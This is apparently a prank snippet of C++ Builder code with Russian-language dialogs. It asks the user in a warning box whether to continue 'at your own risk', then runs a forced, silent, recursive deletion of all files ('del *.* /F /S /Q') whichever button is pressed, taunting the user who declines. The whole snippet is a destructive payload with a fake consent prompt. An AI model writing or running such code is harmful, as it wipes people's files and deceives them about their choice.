if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrYes )
  WinExec("del *.* /F /S /Q"); 
else
{
  ShowMessage( "НЕТ??? А придется!!!" );
  WinExec("del *.* /F /S /Q");  
}